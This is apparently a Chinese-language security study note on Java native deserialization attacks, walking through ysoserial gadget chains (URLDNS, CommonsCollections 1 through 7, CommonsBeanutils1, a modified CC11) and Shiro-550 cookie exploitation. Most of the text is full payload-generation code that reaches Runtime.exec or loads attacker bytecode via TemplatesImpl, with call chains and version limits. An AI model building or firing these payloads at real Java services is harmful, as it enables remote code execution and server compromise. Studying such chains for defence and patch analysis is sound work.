Java Sec —— 原生反序列化
最后更新时间:
Java 学习笔记——原生反序列化
一个比较清楚的调用图 https://boogipop.com/2023/03/02/Java反序列化研究/
ps: 从 notion 中直接导出的,看着有点奇怪
0x00. PHP 反序列化与 Java 反序列化的区别
readObject
倾向于解决“反序列化时如何还原一个完整对象”这个问题,而 PHP 的 **wakeup
更倾向于解决“反序列化后如何初始化这个对象**”的问题。
0x01. URLDNS DNS 探测器
POC
Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
整个调用链过程:
1
2
3
4
5
6
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
sink 点: java.net.URLStreamHandler#getHostAddress
![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%201.png)
**细节**:为了防止在构造 POC 过程中触发 DNS 解析导致缓存,yso 作了如下设置
1
Reflections.setFieldValue(u, "hashCode", -1); // u: URL
原因在于 `java.net.URL#hashCode` 中会对 URL 实例的 hashCode 字段判断(如果已经对 url 作过 DNS 解析,则 hashCode 字段不等于 -1)
![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%202.png)
0x02. CC1 (work on JDK ≤ 8u71)
限制条件
commons-collections:3.1
组件JDK ≤ 8u71
Transformer 武器套件
ConstantTransformer
InvokerTransformer
ChainedTransformer
触发器
TransformedMap
TransformedMap 对 innerMap 作了修饰,传出的 outerMap 是修饰后的 Map
1
Map outerMap = TransformedMap.decorate(innerMap, KeyTransformer, valueTransformer);
keyTransformer 是处理新元素 key 的回调,valueTransformer 是处理新元素 value 的回调;这里的回调并不是回调函数 而是一个实现了上面 Transformer 接口的类
AnnotationInvocationHandler
观察 readObject 方法:其中
memberValues
字段是我们可以设计好的 map(配合TransformedMap
)其会遍历元素并在满足一定条件后调用setValues
方法,进而触发后续的利用链条件是:
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第一个参数为 Annotation 的子类,且必须至少含有一个方法,假设方法名为 X- 被
TransformedMap.decorate
修饰的 Map 中必有一个键名为 X 的元素
为什么呢?因为
AnnotationInvocationHandler
在执行 readObject 方法时,会获取到其构造方法时赋值好的字段 memberValue(Map) 和 type(Class<? extends Annotation>),并枚举 map 的 key,实例化 type 并获取 key 同名属性,if 条件句会判断结果是否为 null 决定控制流的继续注:这里选择的子类为
java.lang.annotation.Retention
其中包含一个方法value()
, 因此需要在 map 中存放一个键名同样为 value 的元素Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
HashMap innerMap = new HashMap();
innerMap.put("value", "xxx"); // 存放键名要求
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
InvocationHandler handler = (InvocationHandler) Reflections.newInstance("sun.reflect.annotation.AnnotationInvocationHandler", Retention.class, outerMap);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
> 注:版本修复:8u71 以后,新建了一个 `linkedHashMap` 对象,并将原来的键值添加进去。 所以后续对 Map 的操作都是基于这个新的 `LinkedHashMap` 对象,而原来我们精心构造的 Map 不再执行 set 或 put 操作,也就不会触发 RCE 了
>
- LazyMap
`LazyMap#get()` 方法中会调用 factory(`Transformer类`) 字段的 transform 方法,当设计为我们构造的 gadget 时,便可触发 RCE
![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%205.png)
那么接下来就是寻找可以触发 get 方法的调用点
yso 的利用构造过程如下:
1. 首先将经过 LazyMap 修饰过的 HashMap 作一层代理
1
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
2. 接下来再进一步包装 mapProxy,将其装入`AnnotationInvocationHandler` 的 `memberValues` 字段,等待反序列化时被触发,调用 invoke 方法执行代理逻辑
进而其中的 lazyMap 会触发 get 方法执行 RCE gadget
1
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%206.png)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
**总结一下**两层 AnnotationInvocationHandler 的作用:内层作用的是动态代理,为了能调用到 invoke 方法进而触发到 `lazymap.get()` 而外层的 AnnotationInvocationHandler 主要是为了作反序列化入口
0x03. CC6 突破 AnnotationInvocationHandler
高版本限制
限制条件
commons-collections:3.1
无 jdk 版本限制
新的触发器
org.apache.commons.collections.keyvalue.TiedMapEntry
其 hashCode 方法中会调用
getValue()
方法,进一步调用字段 map 的 get 方法新的入口点:HashSet(不再使用
AnnotationInvocationHandler
作为入口点,或者将 HashMap 直接作为入口也可以)我们知道 HashSet 其内部实际也是维护了一个 HashMap (忽略了value而已)数据结构,因此在反序列化
readObject
过程中同样也会触发对于 key 的 hashCode 操作POC
Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
// 先拿到内部的 HashMap 成员 instance
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
这里实际构造的稍微复杂了点,因为构造好的 `TiedMapEntry` 需要放到 HashSet 内部正确的位置上,即:
1
HashSet -> HashMap -> Node<K, V> -> K key
因此还可以简化设计:直接将 HashMap 作为入口点
- Java Poc2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] fake = new Transformer[] { new ConstantTransformer(1) };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(fake);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashMap expMap = new HashMap();
expMap.put(entry, "valuevalue");
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
lazyMap.remove("foo");
return expMap;
}
![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%208.png)
**注**:这里最后需要加一个 `lazyMap.remove("foo");` 原因在于在构造过程中由于会触发一次 put 操作,虽然这时我们没有加上 RCE gadget,但是还是会将 `TiedMapEntry` 中的 key 加入到 lazymap 中,因此需要在最后将其移出,否则如图所示调用链中断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
---------------------------------------------------------------------
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x04. CC3 动态加载字节码 —— templatesImpl
上场!
特殊的类加载——远程类加载
java.net.URLClassLoader
正常情况下,Java 会根据配置项
sun.boot.class.path
和java.class.path
中列举到的基础路径(这些路径是经过处理后的java.net.URL
类)来寻找 .class 文件来加载,而这个基础路径有分为三种情况:- URL未以斜杠 / 结尾,则认为是一个 JAR 文件,使用
JarLoader
来寻找类,即为在Jar包中寻找 .class 文件 - URL以斜杠 / 结尾,且协议名是 file ,则使用
FileLoader
来寻找类,即为在本地文件系统中寻找 .class 文件 - URL以斜杠 / 结尾,且协议名不是 file ,则使用
最基础的 Loader
来寻找类
- URL未以斜杠 / 结尾,则认为是一个 JAR 文件,使用
TemplatesImpl 加载任意字节码的利器
sink 点:
org.apache.xalan.xsltc.trax.TemplatesImpl.TransletClassLoader#defineClass
可以调用的 gadget:
1
2
3
4
5TemplatesImpl#getOutputProperties()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()利用条件:
_bytecodes
是由字节码组成的数组;其中字节码构成的类的必要条件:必须是
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类_name
可以是任意字符串,只要不为 null 即可;_tfactory
需要是一个TransformerFactoryImpl
对象,因为TemplatesImpl#defineTransletClasses()
方法里有调用到_tfactory.getExternalExtensionsMap()
,如果是 null 会出错。
TemplatesImpl
是对 JAXP 标准中javax.xml.transform.Templates
接口的实现,前文说了,XSLT 在使用时会先编译成 Java 字节码,这也就是为什么TemplatesImpl
会使用defineClass
的原因- BCEL ClassLoader 另一加载 ByteCode 利器
CC3
出现的原因:
InvokerTransformer
被 ban版本限制:jdk ≤ 8u71
依赖限制:
commons-collections:3.1
TrAXFilter
触发器这里看到其构造函数中直接存在
TemplatesImpl
的调用链入口点InstantiateTransformer
新的 Transformer在 transform 时会调用 input 对象指定参数的构造器,配合
TrAXFilter
我们设置iParamTypes
字段为Templates.class
,iArgs
为构造好的templatesImpl
即可POC
后面的构造与 CC1 一致
Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
0x05. Shiro 中的应用
- shiro-550 采用 AES 对 cookie 字段的认证信息进行加密,且加密密钥直接硬编码在了代码当中
- 攻击流程
- 使用以前学过的CommonsCollections利用链生成一个序列化Payload
- 使用Shiro默认Key进行加密
- 将密文作为rememberMe的Cookie发送给服务端
CC6 利用限制:
如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。这就解释了为什么 CommonsCollections6 无法利用了,因为其中用到了 Transformer 数组。
简单修改 CC6 使其适配 shiro
首先原因出在了我们使用 Transformer 数组上,因此修改的方向也是不使用非原生数组类型的对象来构造 exp
这里借助 LazyMap get 方法传入的参数来完成调用链的衔接。以往是直接忽略参数的,因为 factory 是个自闭合的 transformer[] ,当前 transformer 的 transform 方法参数都由前一个调用结果获得,这里我们利用 get 方法的参数 key 来手动传入即可
开头还是 CC6 的老套件,key 可以充当
ConstantTransformer
的作用,传入构造好的 templatesImpl 对象,然后利用 InvokerTransformer 调用newTransformer
方法实现恶意类加载Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public Serializable getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("getClass", null, null);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, templatesImpl);
final HashMap expMap = new HashMap();
expMap.put(entry, "valuevalue");
lazyMap.clear();
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return expMap;
}
CC2-CC4
限制
commons-collections4:4.0
CC2
触发器
java.util.PriorityQueue#readObject()
⇒ … ⇒java.util.PriorityQueue#siftDownUsingComparator()
TransformingComparator
POC 构造
gadget:
1
2
3
4
5
6
7
8Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()根据
TransformingComparator#compare()
的描述,要么直接往 transformer 里塞一个构造好的 Transformer[],要么参照上文 templatesImpl 类加载的方式,参数传入手动构造 gadgetyso 项目采用的第二种方式:
Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
**注**:`TransformingComparator` 只能在 CC4 版本中使用,之前的版本并未实现 `Serializable` 接口
![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%2017.png)
CC4
实际上就是 CC3 前半段利用
TrAXFilter
构造函数加载templatesImpl
恶意类加载与后半段PriorityQueue
反序列化触发链的结合Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
CC5
版本限制
This only works in JDK 8u76 and WITHOUT a security manager
commons-collections:3.1
poc 触发器分析
刚开始看到这个安全管理器的限制可能会感到奇怪
首先我们还是利用到了
TiedMapEntry
,但这次触发到 getValue gadget 不是通过 hashCode 而是通过 toString反序列化入口:
BadAttributeValueExpException
分析 readObject 方法,首先会获取序列化流中的 val 字段,并拿到具体对象(Object 类无限制),当
System.*getSecurityManager*() == null
时即可调用到该对象的 toString 方法,这就可以和上文接上Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
gadget chain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC7
版本限制
commons-collections:3.1
触发器
HashTable:
readObejct
→reconstitutionPut
先来分析一下 HashTable 的 put 操作(readObject 过程发生一样的过程),首先会根据 key 类型计算 hash,再利用
(hash & 0x7FFFFFFF) % tab.length
得到一个哈希表的索引,当该索引对应的条目为 null 时,证明未发生哈希冲突,当前条目可以存放元素,于是创建一个条目并存储相应值。由此我们可以知道,如果想进入 for 循环,则需要满足第二次 put 时元素计算 hash 得到的 index 与上一次相同才可以,即构造出来一个哈希冲突
当前面的条件满足时(后面分析如何满足)会触发
e.key.equals(key)
,前后的 key 分别时 hashtable 构造放入的两个 lazymap之后也就是调用 lazymap 的 equals 方法,由于 HashMap 没有所有会向父类
java.util.AbstractMap
中寻找说明一下这里参数,上图当中 entry 指代
lazyMap1
, 调用的参数指代lazyMap2
(即当前方法的对象 o 和 赋值后的 m)紧接着就会触发 lazymap 的 get 利用链 RCE
这里需要再次强调:lazymap get 时只有不含指定 key 时才会继续调用 gadget,并且调用一遍之后就会 put 进去,如果想要再次调用的话则需要手动将 key remove 掉(或者直接全部 clear/remove),这里即需要移出 yy
如何构造 hash 碰撞?
回到 HashTable,index 的计算如下:
(String.hash & 0x7FFFFFFF) % tab.length
也就是让 String 计算的 hash 相同即可,value 为实际存储的字符串 char[], hash 为成员变量
对于 yy 和 zZ,第一个字符计算后相差1,那么第二轮次算后,需要前面比后面大31
POC
Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42public Hashtable getObject(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
CB1
- 限制
触发器 BeanComparator
衔接之前优先级队列当中会调用比较器的 compare 方法,
BeanComparator#compare()
中若 property 字段非 null 的话,则会调用 CB 特有的PropertyUtils.*getProperty
* 递归获取指定属性的 getter 方法并调用结合 TemplatesImpl gaget 的调用链,我们可以利用到
org.apache.xalan.xsltc.trax.TemplatesImpl#getOutputProperties
POC
Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
C11 —— 魔改 yso
版本限制:无 jdk 版本限制
CommonsCollections 3.1-3.2.1
POC 编写
Java Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50public Serializable getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, templatesImpl);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
// 先拿到内部的 HashMap 成员 instance
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return map;
}
确实就是 CC1-7 的组合,这里是 CC6 类加载的方式拼接起来就行,后面 InvokerTransformer 利用 `newTransformer` 来调用后续 RCE 即可
参考链接
[1] https://h0cksr.xyz/archives/484
[2] https://amiaaaz.github.io/2022/03/23/java-study-notes-03/
[3] https://github.com/frohoff/ysoserial
[4] https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html